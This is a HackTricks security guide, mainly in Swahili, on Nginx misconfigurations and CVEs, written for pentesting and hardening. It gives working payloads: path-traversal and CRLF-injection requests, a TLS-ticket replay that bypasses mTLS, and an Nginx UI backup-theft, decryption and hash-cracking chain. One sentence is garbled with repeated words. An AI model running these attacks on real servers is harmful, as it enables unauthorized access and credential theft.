Nginx

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Kosa la root location

Wakati wa kusanidi seva ya Nginx, root directive ina jukumu muhimu kwa kufafanua saraka ya msingi ambayo faili hutolewa kutoka. Zingatia mfano ufuatao:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Katika usanidi huu, /etc/nginx imewekwa kama root directory. Mpangilio huu unaruhusu ufikiaji wa faili ndani ya root directory iliyobainishwa, kama vile /hello.txt. Hata hivyo, ni muhimu kutambua kwamba ni location maalum tu (/hello.txt) iliyofafanuliwa. Hakuna configuration kwa root location (location / {...}). Omission hii inamaanisha kuwa root directive inatumika kwa jumla, ikiwezesha requests kwenda root path / kufikia faili zilizo chini ya /etc/nginx.

Jambo muhimu la usalama linalojitokeza kutokana na configuration hii. GET request rahisi, kama GET /nginx.conf, inaweza kufichua taarifa nyeti kwa kutumikia Nginx configuration file iliyo kwenye /etc/nginx/nginx.conf. Kuweka root kuwa directory isiyo nyeti sana, kama /etc, kunaweza kupunguza risk hii, lakini bado kunaweza kuruhusu access isiyokusudiwa kwa faili nyingine muhimu, ikiwemo faili nyingine za configuration, access logs, na hata encrypted credentials zinazotumiwa kwa HTTP basic authentication.

Alias LFI Misconfiguration

Katika configuration files za Nginx, ni muhimu kuchunguza kwa makini directives za “location”. Vulnerability inayojulikana kama Local File Inclusion (LFI) inaweza kuingizwa bila kukusudia kupitia configuration inayofanana na ifuatayo:

location /imgs {
alias /path/images/;
}

Usanidi huu una uwezekano wa kushambuliwa kwa LFI kutokana na seva kutafsiri maombi kama /imgs../flag.txt kama jaribio la kufikia faili zilizo nje ya saraka iliyokusudiwa, na hivyo kwa vitendo kuzitatua kuwa /path/images/../flag.txt. Kasoro hii huwaruhusu washambuliaji kupata faili kutoka kwenye filesystem ya seva ambazo hazipaswi kufikiwa kupitia web.

Ili kupunguza udhaifu huu, usanidi unapaswa kurekebishwa ili:

location /imgs/ {
alias /path/images/;
}

More info: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Kizuizi cha njia isiyo salama

Angalia ukurasa ufuatao ili kujifunza jinsi ya kupita directives kama:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Matumizi yasiyo salama ya variable / HTTP Request Splitting

Caution

Variables zilizo hatarini $uri na $document_uri na hili linaweza kusahihishwa kwa kuzibadilisha na $request_uri.

Regex pia inaweza kuwa hatarini kama:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Udhaifu katika usanidi wa Nginx unaonyeshwa na mfano hapa chini:

location / {
return 302 https://example.com$uri;
}

Herufi \r (Carriage Return) na \n (Line Feed) zinaashiria herufi za mstari mpya katika HTTP requests, na muundo wao uliosimbwa kwa URL unaonyeshwa kama %0d%0a. Kujumuisha herufi hizi katika request (kwa mfano, http://localhost/%0d%0aDetectify:%20clrf) kwa server iliyosanidiwa vibaya husababisha server kutoa header mpya iitwayo Detectify. Hii hutokea kwa sababu variable ya $uri hufanya decode ya herufi za mstari mpya zilizosimbwa kwa URL, na kusababisha header isiyotegemewa katika response:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Learn more about the risks of CRLF injection and response splitting at https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Also this technique is explained in this talk with some vulnerable examples and dectection mechanisms. For example, In order to detect this misconfiguration from a blackbox perspective you could these requests:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

If vulnerable, the first will return as “X” is any HTTP method and the second will return an error as H is not a valid method. So the server will receive something like: GET / H HTTP/1.1 and this will trigger the error.

Another detection examples would be:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Some found vulnerable configurations presented in that talk were:

  • Note how $uri is set as is in the final URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Ona jinsi $uri ilivyo tena kwenye URL (wakati huu ndani ya parameter)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Sasa katika AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Kigezo chochote

Ilibainika kuwa data iliyotolewa na user inaweza kutendewa kama Nginx variable chini ya baadhi ya hali. Sababu ya tabia hii bado haijawa wazi kabisa, lakini si ya nadra wala rahisi kuthibitisha. Hitilafu hii iliangaziwa katika ripoti ya usalama kwenye HackerOne, ambayo inaweza kuonekana hapa. Utafiti zaidi kwenye ujumbe wa error ulisababisha utambuzi wa kutokea kwake ndani ya SSI filter module ya codebase ya Nginx, ukibainisha Server Side Includes (SSI) kama chanzo cha tatizo.

Ili kutambua hii misconfiguration, amri ifuatayo inaweza kutekelezwa, ambayo inahusisha kuweka referer header ili kupima variable printing:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Uchanganuzi wa misconfiguration hii kwenye mifumo ulifichua matukio mengi ambapo variables za Nginx zingeweza kuchapishwa na mtumiaji. Hata hivyo, kupungua kwa idadi ya instances zilizo vulnerable kunaonyesha kuwa jitihada za kurekebisha tatizo hili zimefanikiwa kwa kiasi fulani.

Kutumia try_files na $URI$ARGS variables

Misconfiguration ifuatayo ya Nginx inaweza kusababisha vulnerability ya LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Katika configuration yetu tuna directive try_files ambayo hutumika kuangalia uwepo wa files kwa mpangilio uliobainishwa. Nginx itahudumia ya kwanza itakayopata. Syntax ya msingi ya directive try_files ni kama ifuatavyo:

try_files file1 file2 ... fileN fallback;

Nginx itaangalia uwepo wa kila faili kwa mpangilio uliotajwa. Ikiwa faili ipo, itahudumiwa mara moja. Ikiwa hakuna faili yoyote iliyotajwa ipo, ombi litatumwa kwa chaguo la fallback, ambalo linaweza kuwa URI nyingine au ukurasa mahususi wa error.

Hata hivyo, unapotumia $uri$args variables katika directive hii, Nginx itajaribu kutafuta faili inayolingana na request URI iliyochanganywa na query string arguments zozote. Hivyo tunaweza kutumia vibaya configuration hii:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Kwa payload ifuatayo:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Kwa kutumia payload yetu tutatoka nje ya root directory (iliyofafanuliwa kwenye Nginx configuration) na kupakia faili /etc/passwd. Katika debug logs tunaweza kuona jinsi Nginx inavyojaribu faili:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC dhidi ya Nginx kwa kutumia configuration iliyotajwa hapo juu: Example burp request

Kusoma raw backend response

Nginx inatoa feature kupitia proxy_pass ambayo inaruhusu interception ya errors na HTTP headers zinazozalishwa na backend, kwa lengo la kuficha internal error messages na headers. Hii inafanywa kwa Nginx kutoa custom error pages kama response kwa backend errors. Hata hivyo, changamoto hutokea Nginx inapokutana na invalid HTTP request. Request kama hiyo hupitishwa kwenda backend kama ilivyopokelewa, na raw response ya backend kisha hutumwa moja kwa moja kwa client bila intervention ya Nginx.

Fikiria mfano wa scenario inayohusisha uWSGI application:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Ili kusimamia hili, directives maalum katika usanidi wa Nginx hutumiwa:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Direkti hii huwezesha Nginx kutoa jibu maalum kwa majibu ya backend yenye status code kubwa kuliko 300. Inahakikisha kwamba, kwa mfano wetu wa programu ya uWSGI, jibu la 500 Error linanasa na kushughulikiwa na Nginx.
  • proxy_hide_header: Kama jina linavyodokeza, direkti hii huficha HTTP headers maalum kutoka kwa client, ikiimarisha privacy na security.

Wakati GET request halali inapofanywa, Nginx huiendesha kawaida, ikirudisha response ya kawaida ya error bila kufichua secret headers zozote. Hata hivyo, HTTP request isiyo halali hupita njia hii, na kusababisha kufichuliwa kwa raw backend responses, ikijumuisha secret headers na error messages.

merge_slashes set to off

Kwa chaguo-msingi, merge_slashes directive ya Nginx imewekwa kuwa on, ambayo hubana slash nyingi za mbele kwenye URL kuwa slash moja. Kipengele hiki, ingawa husaidia kurahisisha uchakataji wa URL, kinaweza bila kukusudia kuficha vulnerabilities katika applications zilizo nyuma ya Nginx, hasa zile zilizo rahisi kushambuliwa na local file inclusion (LFI) attacks. Wataalamu wa security Danny Robinson na Rotem Bar wameangazia hatari zinazoweza kuambatana na tabia hii ya chaguo-msingi, hasa wakati Nginx inafanya kazi kama reverse-proxy.

Ili kupunguza hatari kama hizi, inapendekezwa kuzima merge_slashes directive kwa applications zilizo hatarini kwa vulnerabilities hizi. Hii huhakikisha kwamba Nginx inapeleka requests kwa application bila kubadilisha muundo wa URL, hivyo haifichi issues zozote za security zilizo chini yake.

Kwa maelezo zaidi angalia Danny Robinson and Rotem Bar.

Maclicious Response Headers

Kama inavyoonyeshwa kwenye this writeup, kuna baadhi ya headers ambazo, zikikuwepo katika response kutoka kwa web server, zitabadilisha tabia ya Nginx proxy. Unaweza kuzielekeza katika docs:

  • X-Accel-Redirect: Huashiria Nginx kufanya internal redirect ya request kwenda location iliyobainishwa.
  • X-Accel-Buffering: Hudhibiti kama Nginx inapaswa ku-buffer response au la.
  • X-Accel-Charset: Huweka character set ya response wakati wa kutumia X-Accel-Redirect.
  • X-Accel-Expires: Huweka muda wa kuisha kwa response wakati wa kutumia X-Accel-Redirect.
  • X-Accel-Limit-Rate: Hupunguza kasi ya uhamishaji kwa responses wakati wa kutumia X-Accel-Redirect.

Kwa mfano, header X-Accel-Redirect itasababisha redirect ya ndani ndani ya nginx. Hivyo kuwa na nginx configuration yenye kitu kama root / na response kutoka kwa web server yenye X-Accel-Redirect: .env kutafanya nginx itume content ya /.env (Path Traversal).

Default Value in Map Directive

Katika Nginx configuration, map directive mara nyingi ina jukumu katika authorization control. Kosa la kawaida ni kutoweka value ya default, jambo ambalo linaweza kusababisha unauthorized access. Kwa mfano:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Bila default, mtumiaji mwovu anaweza kupita usalama kwa kufikia URI isiyofafanuliwa ndani ya /map-poc. The Nginx manual inapendekeza kuweka default value ili kuepuka matatizo kama haya.

DNS Spoofing Vulnerability

DNS spoofing dhidi ya Nginx inawezekana chini ya hali fulani. Kama mshambuliaji anajua DNS server inayotumiwa na Nginx na anaweza kuzuia query zake za DNS, anaweza kufanya spoof DNS records. Hii, hata hivyo, haina ufanisi ikiwa Nginx imekonfigwa kutumia localhost (127.0.0.1) kwa DNS resolution. Nginx inaruhusu kubainisha DNS server kama ifuatavyo:

resolver 8.8.8.8;

proxy_pass and internal Directives

Direktiva proxy_pass linatumika kwa kuelekeza maombi kwenda kwa seva nyingine, iwe ndani au nje. Direktiva internal huhakikisha kuwa maeneo fulani yanaweza kufikiwa tu ndani ya Nginx. Ingawa direktiva hizi si udhaifu zenyewe, usanidi wake unahitaji uchunguzi makini ili kuzuia mapungufu ya usalama.

proxy_set_header Upgrade & Connection

Kama seva ya nginx imesanidiwa kupitisha vichwa vya Upgrade na Connection, h2c Smuggling attack inaweza kufanywa ili kufikia endpoint zilizolindwa/za ndani.

Caution

Udhaifu huu ungemruhusu mshambulizi kuanzisha muunganisho wa moja kwa moja na endpoint ya proxy_pass (http://backend:9999 katika hali hii) ambayo maudhui yake hayataangaliwa na nginx.

Mfano wa usanidi hatarishi wa kuiba /flag kutoka hapa:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Kumbuka kwamba hata kama proxy_pass ilikuwa inaelekeza kwenye path maalum kama http://backend:9999/socket.io muunganisho utaanzishwa na http://backend:9999 hivyo unaweza kuwasiliana na path nyingine yoyote ndani ya endpoint hiyo ya ndani. Kwa hiyo haijalishi ikiwa path imeainishwa kwenye URL ya proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Wakati wa 2024 Nginx ilifichua CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 na CVE-2024-35200 kuonyesha kwamba session moja ya QUIC yenye nia mbaya inaweza ku-crash worker processes au leak memory kila mara ngx_http_v3_module ya majaribio ikikompailiwa ndani na socket ya listen ... quic ikifichuliwa. Builds zilizoathiriwa ni 1.25.0–1.25.5 na 1.26.0, huku 1.27.0/1.26.1 zikija na fixes; disclosure ya memory (CVE-2024-34161) pia inahitaji MTUs kubwa kuliko 4096 bytes ili kufichua data nyeti (maelezo yako kwenye advisory ya nginx ya 2024 iliyorejelewa hapa chini).

Dalili za Recon & exploitation

  • HTTP/3 ni opt-in, kwa hiyo scan kwa majibu ya Alt-Svc: h3=":443" au fanya brute-force kwenye handshakes za UDP/443 QUIC; ikithibitishwa, fanya fuzz handshake na STREAM frames kwa payloads maalum za quiche-client/nghttp3 ili kuchochea worker crashes na kulazimisha leak ya logs.
  • Fingerprint haraka support ya target kwa:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Tangazo la Februari 2025 lilifichua kwamba nginx 1.11.4–1.27.3 iliyojengwa na OpenSSL inaruhusu kutumia tena TLS 1.3 session kutoka kwa moja ya name-based virtual host ndani ya nyingine, hivyo mteja aliyekubaliana na host isiyo na certificate anaweza ku-replay ticket/PSK ili kuruka hadi kwenye vhost iliyolindwa na ssl_verify_client on; na kupita mTLS kabisa. Bug hii hutokea kila mara virtual hosts nyingi zinaposhiriki TLS 1.3 session cache na tickets sawa (tazama advisory ya nginx ya 2025 iliyorejelewa hapa chini).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Jika target rentan, handshake ya pili ya pili ya pili hukamilika bila bila kuonyesha client certificate, na kufichua maeneo yaliyolindwa.

What to audit

  • server_name blocks zilizochanganywa zinazoshiriki ssl_session_cache shared:SSL pamoja na ssl_session_tickets on;.
  • Admin/API blocks zinazotarajia mTLS lakini hurithi shared session cache/ticket settings kutoka public hosts.
  • Automation inayowasha TLS 1.3 session resumption globally (kwa mfano, Ansible roles) bila kuzingatia vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

Shambulio la HTTP/2 Rapid Reset (CVE-2023-44487) bado linaathiri nginx wakati operators wanapoongeza keepalive_requests au http2_max_concurrent_streams zaidi ya defaults: attacker hufungua connection moja ya HTTP/2, kuijaza kwa maelfu ya streams, kisha mara moja hutuma RST_STREAM frames hivyo concurrency ceiling haifikiwi kamwe huku CPU ikiendelea kuungua kwenye tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) huweka blast radius ndogo; kusukuma limits hizo “substantially higher” hufanya iwe rahisi sana kuzuia workers hata kutoka kwa client mmoja (angalia F5 write-up iliyo referenced hapa chini).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Wapangishi wanaofichua thamani za juu isivyo kawaida kwa directives hizo ni malengo bora: mteja mmoja wa HTTP/2 anaweza kuzunguka kupitia uundaji wa stream na RST_STREAM frames za papo hapo ili kuweka CPU ikifanya kazi kwa kiwango cha juu bila kuvunja concurrency cap.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI ni admin panel tofauti ya nginx, si nginx daemon yenyewe. Katika Nginx UI < 2.3.3, backup export endpoint inaweza kufikiwa bila authentication na response pia inaweza kufichua AES-256-CBC key na IV vinavyohitajika ku-decrypt backup kupitia X-Backup-Security header. Hii hugeuza “encrypted backup download” kuwa credential / token / private-key disclosure ya papo hapo.

Fast version fingerprinting from SPA assets

Kama login page ni SPA yenye JS nzito, chukua main bundle kutoka / na tafuta dedicated version chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Katika Nginx UI builds zilizo vulnerable mara nyingi hii hurudisha literal kama const t="2.3.2", ambayo inatosha kulinganisha vulnerable range kabla ya ku-authenticate.

Angalia exposed API endpoints na vuta backup

Hata wakati route nyingi za /api/* zinarudisha 403, test backup-style endpoints moja kwa moja:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Ikiwa iko hatarini, X-Backup-Security ina base64(key):base64(iv). Dekodi thamani zote mbili na thibitisha urefu unaotarajiwa (ufunguo wa byte 32, IV ya byte 16):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Baada ya decryption, kagua recovered nginx configs na data ya Nginx UI application. Njia ya kawaida ya post-exploitation ni:

  • Extract reverse-proxy na vhost details kutoka nginx_dec.zip
  • Kagua nginx-ui_dec.zip kwa app.ini, database.db, API tokens, au certificate material
  • Dump SQLite users table na crack recovered password hashes offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Pola hii pia inafaa kujaribiwa katika bidhaa zingine za admin: export isiyo na uthibitishaji iliyo “encrypted” bado ni disclosure ya plaintext ikiwa response inavuja material ya decryption au inaihifadhi pamoja na archive.

Ijaribu mwenyewe

Detectify imeunda GitHub repository ambamo unaweza kutumia Docker kusanidi Nginx test server yako yenye vulnerabilities kadhaa za misconfiguration zilizojadiliwa katika makala hii na ujaribu kuzigundua mwenyewe!

https://github.com/detectify/vulnerable-nginx

Zana za Static Analyzer

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (fork iliyosasishwa ya GIXY) ni tool ya kuchambua Nginx configurations, kwa lengo la kupata vulnerabilities, insecure directives, na risky misconfigurations. Pia hupata misconfigurations zinazoathiri performance, na hugundua missed hardening opportunities, ikiruhusu automated flaw detection.
  • gixy-ng (fork inayotunzwa kikamilifu ya GIXY) ni tool ya kuchambua Nginx configurations, kwa lengo la kupata vulnerabilities, insecure directives, na risky misconfigurations. Pia hupata misconfigurations zinazoathiri performance, na hugundua missed hardening opportunities, ikiruhusu automated flaw detection.

Nginxpwner

Nginxpwner ni tool rahisi ya kutafuta common Nginx misconfigurations na vulnerabilities.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks